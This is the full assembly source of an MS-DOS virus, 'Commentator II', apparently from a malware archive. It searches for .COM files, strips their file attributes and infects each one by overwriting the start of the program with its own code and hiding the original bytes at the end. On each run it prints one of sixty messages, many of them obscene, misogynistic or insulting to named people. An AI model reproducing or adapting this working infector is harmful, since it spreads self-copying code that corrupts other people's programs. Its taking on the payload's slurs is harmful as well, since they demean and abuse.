MalwareSourceCode/MSDOS/C-Index/Virus.MSDOS.Unknown.comment2.asm
vxunderground 4b9382ddbc re-organize
push
2022-08-21 04:07:57 -05:00

335 lines
14 KiB
NASM

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Commentator Virus by Glenn... ³
;ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
;³ This will be a Parasytic Non-Resident .COM infector. ³
;³ It will also infect COMMAND.COM. ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
.MODEL TINY
Public VirLen,MovLen
Code Segment para 'Code'
Assume Cs:Code,Ds:Code,Es:Code
Org 100h
Signature Equ 0DeDeh ; Signature of virus!
Buff1 Equ 0F100h
Buff2 Equ Buff1+2
VirLen Equ Offset Einde-Offset Begin
MovLen Equ Offset Einde-Offset Mover
DTA Equ 0F000h
Proggie Equ DTA+1Eh
Lenny Equ DTA+1Ah
MinLen Equ Virlen ;Minimale lengte te besmetten programma
MaxLen Equ 0EF00h ; Maximale lengte te besmetten programma
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; This part will contain the actual virus code, for searching the
; next victim and infection of it.
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Begin:
Jmp Short OverSig ; Sprong naar Oversig vanwege kenmerk
DW Signature ; Herkenningsteken virus
Oversig:
Pushf ;------------------
Push AX ; Alle registers opslaan voor
Push BX ; later gebruik van het programma
Push CX ;
Push DX ;
Push DS ;
Push ES ;
Push SS ;
Push SI ;
Push DI ;------------------
InfectPart:
Mov AX,Sprong ;------------------
Mov Buf1,AX ; Spronggegevens bewaren om
Mov BX,Source ; besmette programma te starten
Mov Buf2,BX ;------------------
Mov AH,1Ah ; DTA area instellen op
Mov DX,DTA ; $DTA area
Int 21h ;------------------
Vindeerst: Mov AH,4Eh ; Zoeken naar 1e .COM file in directory
Mov Cx,1 ;
Lea DX,FindPath ;
Int 21h ;------------------
Jnc KijkInfected ; Geen gevonden, goto Afgelopen
Jmp Afgelopen ;------------------
KijkInfected:
Mov DX,Cs:[Lenny] ;------------------
Cmp DX,MinLen ; Kijken of programmalengte voldoet
Jb ZoekNext ; aan de eisen van het virus
Cmp DX,MaxLen ;
Ja ZoekNext ;------------------
On2: Mov AH,3Dh ; Zo ja , file openen en file handle
Mov AL,2 ; opslaan
Mov DX,Proggie ;
Int 21h ;
Mov FH,AX ;------------------
Mov BX,AX ;
Mov AH,3Fh ; Lezen 1e 4 bytes van een file met
Mov CX,4 ; een mogelijk kenmerk van het virus
Mov DX,Buff1 ;
Int 21h ;------------------
Sluiten: Mov AH,3Eh ; File weer sluiten
Int 21h ;------------------
Mov AX,CS:[Buff2] ; Vergelijken inhoud lokatie Buff1+2
Cmp AX,Signature ; met Signature. Niet gelijk : Zoeken op
Jnz Infect ; morgoth virus. Als bestand al besmet
ZoekNext:
Mov AH,4Fh ;------------------
Int 21h ; Zoeken naar volgende .COM file
Jnc KijkInfected ; Geen gevonden, goto Afgelopen
Jmp Afgelopen ;------------------
Infect:
Mov DX,Proggie ; beveiliging weghalen
Mov AH,43h ;
Mov AL,1 ;
Xor CX,Cx
Int 21h ;------------------
Mov AH,3Dh ; Bestand openen
Mov AL,2 ;
Mov DX,Proggie ;
Int 21h ;------------------
Mov FH,AX ; Opslaan op stack van
Mov BX,AX ; datum voor later gebruik
Mov AH,57H ;
Mov AL,0 ;
Int 21h ;
Push CX ;
Push DX ;------------------
Mov AH,3Fh ; Inlezen van eerste deel van het
Mov CX,VirLen+2 ; programma om later terug te
Mov DX,Buff1 ; kunnen plaatsen.
Int 21h ;------------------
Mov AH,42H ; File Pointer weer naar het
Mov AL,2 ; einde van het programma
Xor CX,CX ; zetten
Xor DX,DX ;
Int 21h ;------------------
Xor DX,DX ; Bepalen van de variabele sprongen
Add AX,100h ; in het virus (move-routine)
Mov Sprong,AX ;
Add AX,MovLen ;
Mov Source,AX ;------------------
Mov AH,40H ; Move routine bewaren aan
Mov DX,Offset Mover ; einde van file
Mov CX,MovLen ;
Int 21h ;------------------
Mov AH,40H ; Eerste deel programma aan-
Mov DX,Buff1 ; voegen na Move routine
Mov CX,VirLen ;
Int 21h ;------------------
Mov AH,42h ; File Pointer weer naar
Mov AL,0 ; het begin van file
Xor CX,CX ; sturen
Xor DX,DX ;
Int 21h ;------------------
Mov AH,40h ; En programma overschrijven
Mov DX,Offset Begin ; met code van het virus
Mov CX,VirLen ;
Int 21h ;------------------
Mov AH,57h ; Datum van aangesproken file
Mov AL,1 ; weer herstellen
Pop DX ;
Pop CX ;
Int 21h ;------------------
Mov AH,3Eh ; Sluiten file
Int 21h ;------------------
Afgelopen: Mov BX,Buf2 ; Sprongvariabelen weer
Mov Source,BX ; op normaal zetten voor
Mov AX,Buf1 ; de Move routine
Mov Sprong,AX ;------------------
Mov AH,1Ah ; DTA adres weer op normaal
Mov Dx,80h ; zetten en naar de Move
Int 21h ; routine springen
Mov Ah,2Ch
Int 21h
Xor DL,DL
Xchg Dh,Dl
Add Dx,Dx
; And Dx,11111110b
Add Dx,Offset MsgTab
Mov Si,Dx
Mov Dx,Cs:[SI]
Mov AH,9
Int 21h
Jmp CS:[Sprong] ;------------------
Msgtab DW offset Msg1
DW offset Msg2
DW offset Msg3
DW offset Msg4
DW offset Msg5
DW offset Msg6
DW offset Msg7
DW offset Msg8
DW offset Msg9
DW offset Msg10
DW offset Msg11
DW offset Msg12
DW offset Msg13
DW offset Msg14
DW offset Msg15
DW offset Msg16
DW offset Msg17
DW offset Msg18
DW offset Msg19
DW offset Msg20
DW offset Msg21
DW offset Msg22
DW offset Msg23
DW offset Msg24
DW offset Msg25
DW offset Msg26
DW offset Msg27
DW offset Msg28
DW offset Msg29
DW offset Msg30
DW offset Msg31
DW offset Msg32
DW offset Msg33
DW offset Msg34
DW offset Msg35
DW offset Msg36
DW offset Msg37
DW offset Msg38
DW offset Msg39
DW offset Msg40
DW offset Msg41
DW offset Msg42
DW offset Msg43
DW offset Msg44
DW offset Msg45
DW offset Msg46
DW offset Msg47
DW offset Msg48
DW offset Msg49
DW offset Msg50
DW offset Msg51
DW offset Msg52
DW offset Msg53
DW offset Msg54
DW offset Msg55
DW offset Msg56
DW offset Msg57
DW offset Msg58
DW offset Msg59
DW offset Msg60
Msg1 Db 13,10,'Cycle sluts from hell',13,10,'$'
Msg2 Db 13,10,'Virus Mania IV',13,10,'$'
Msg3 Db 13,10,'2 Live Crew is fucking cool',13,10,'$'
Msg4 Db 13,10,'Like Commentator I, HIP-HOP sucks',13,10,'$'
Msg5 Db 13,10,'Dr. Ruth is a first-class lady!',13,10,'$'
Msg6 Db 13,10,'Dont be a wimp, be dead!',13,10,'$'
Msg7 Db 13,10,'This dick was made for laying girls.',13,10,'$'
Msg8 Db 13,10,'No virus entry, just me!',13,10,'$'
Msg9 Db 13,10,'Dont bite it, you horny bitch!',13,10,'$'
Msg10 Db 13,10,'Stroke my keys, oh YES!',13,10,'$'
Msg11 Db 13,10,'Sex Revolution 4000',13,10,'$'
Msg12 Db 13,10,'Buck Rogers is fake',13,10,'$'
Msg13 Db 13,10,'(C) by Glenn Benton',13,10,'$'
Msg14 Db 13,10,'Registration number required',13,10,'$'
Msg15 Db 13,10,'The fly is alive',13,10,'$'
Msg16 Db 13,10,'Dont fuck with me, or I will kick some ass...',13,10,'$'
Msg17 Db 13,10,'Hey, dont hit the keys that hard!',13,10,'$'
Msg18 Db 13,10,'You will feel me...',13,10,'$'
Msg19 Db 13,10,'BEER BEER BEER BEER BEER BEER BEER!!!',13,10,'$'
Msg20 Db 13,10,'YOU HAVE A VIRUS, BWAH AH AH EH EH HEH ARF!',13,10,'$'
Msg21 Db 13,10,'I would alter Michael Jacksons face with my fists...',13,10,'$'
Msg22 Db 13,10,'WIM KOK IS STILL A COMMUNIST!',13,10,'$'
Msg23 Db 13,10,'Welcome to COMMENTATOR II',13,10,'$'
Msg24 Db 13,10,'Commentator I & II released!',13,10,'$'
Msg25 Db 13,10,'Legalize ABORTUS!',13,10,'$'
Msg26 Db 13,10,'Ronald McDonald goes Oude-Pekela!',13,10,'$'
Msg27 Db 13,10,'Source code soon aveable...',13,10,'$'
Msg28 Db 13,10,'Dont use a rubber against this virus!',13,10,'$'
Msg29 Db 13,10,'Swimming holiday in Bangladesh!',13,10,'$'
Msg30 Db 13,10,'Neo Nazis are a pile of shit.',13,10,'$'
Msg31 Db 13,10,'Virus researchers are a pile of meat on the street.',13,10,'$'
Msg32 Db 13,10,'World Championship Cat-Throwing',13,10,'$'
Msg33 Db 13,10,'Yo Yo Yo Yo Yo Yo Yo, James Brown is DEAD!',13,10,'$'
Msg34 Db 13,10,'Yech, you are reminding me of my mother-in-law...',13,10,'$'
Msg35 Db 13,10,'How is the weather out there?',13,10,'$'
Msg36 Db 13,10,'Indalis is a fat bitch who looks like a glass-bin.',13,10,'$'
Msg37 Db 13,10,'Lubbers should be castrated for a long time ago.',13,10,'$'
Msg38 Db 13,10,'Legalize hookers (at a low prize!)',13,10,'$'
Msg39 Db 13,10,'Fist fucking sounds irrelevant to you, eh?',13,10,'$'
Msg40 Db 13,10,'I will be Back...',13,10,'$'
Msg41 Db 13,10,'Today it is..... JUDGEMENT DAY!!!',13,10,'$'
Msg42 Db 13,10,'Never mind the dog, beware of owner.',13,10,'$'
Msg43 Db 13,10,'You still owe me a CO-PROCESSOR!',13,10,'$'
Msg44 Db 13,10,'Do not drink and drive',13,10,'$'
Msg45 Db 13,10,'Last name ALMIGHTY, first name DICK',13,10,'$'
Msg46 Db 13,10,'Frodo lives!',13,10,'$'
Msg47 Db 13,10,'The leech lives',13,10,'$'
Msg48 Db 13,10,'Hey, Cracker Jack! Nice virus you made!',13,10,'$'
Msg49 Db 13,10,'A depressive Prince Claus looks like fun!',13,10,'$'
Msg50 Db 13,10,'Happy Eastern',13,10,'$'
Msg51 Db 13,10,'Thank god for AIDS',13,10,'$'
Msg52 Db 13,10,'Art is incredible stupid',13,10,'$'
Msg53 Db 13,10,'Out of semen error',13,10,'$'
Msg54 Db 13,10,'Incorrect BEF version',13,10,'$'
Msg55 Db 13,10,'Of je stopt de stekker erin?!?',13,10,'$'
Msg56 Db 13,10,'Jean Claude van Damme kicks ass.',13,10,'$'
Msg57 Db 13,10,'Cannabis expands the mind',13,10,'$'
Msg58 Db 13,10,'What is this memory? EMS XMS LIM HMA UMB?',13,10,'$'
Msg59 Db 13,10,'NOOOOOO NOT AN IBM SYSTEM, PLEASE!!!!!',13,10,'$'
Msg60 Db 13,10,'Dutch Virus Research Laboratory',13,10,'$'
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; All variables are stored in here, like filehandle, date/time,
; search path and various buffers.
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
FH DW 0
FindPath DB '*.COM',0
Buf1 DW 0
Buf2 DW 0
Sprong DW 0
Source DW 0
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; This will contain the relocator routine, located at the end of
; the ORIGINAL file. This will tranfer the 1st part of the program
; to it's original place.
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Mover:
Mov DI,Offset Begin ;------------------
Mov SI,Source ; Verplaatsen van het 1e deel
Mov CX,VirLen-1 ; van het programma, wat achter
Rep Movsb ;------------------
Pop DI ; Opgeslagen registers weer
Pop SI ; terugzetten op originele
Pop SS ; waarde en springen naar
Pop ES ; het begin van het programma
Pop DS ; (waar nu het virus niet meer
Pop DX ; staat)
Pop CX ;
Pop BX ;
Pop AX ;
Popf ;
Mov BX,100h ;
Jmp BX ;------------------
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Only the end of the virus is stored in here.
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Einde db 0
Code Ends
End Begin
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ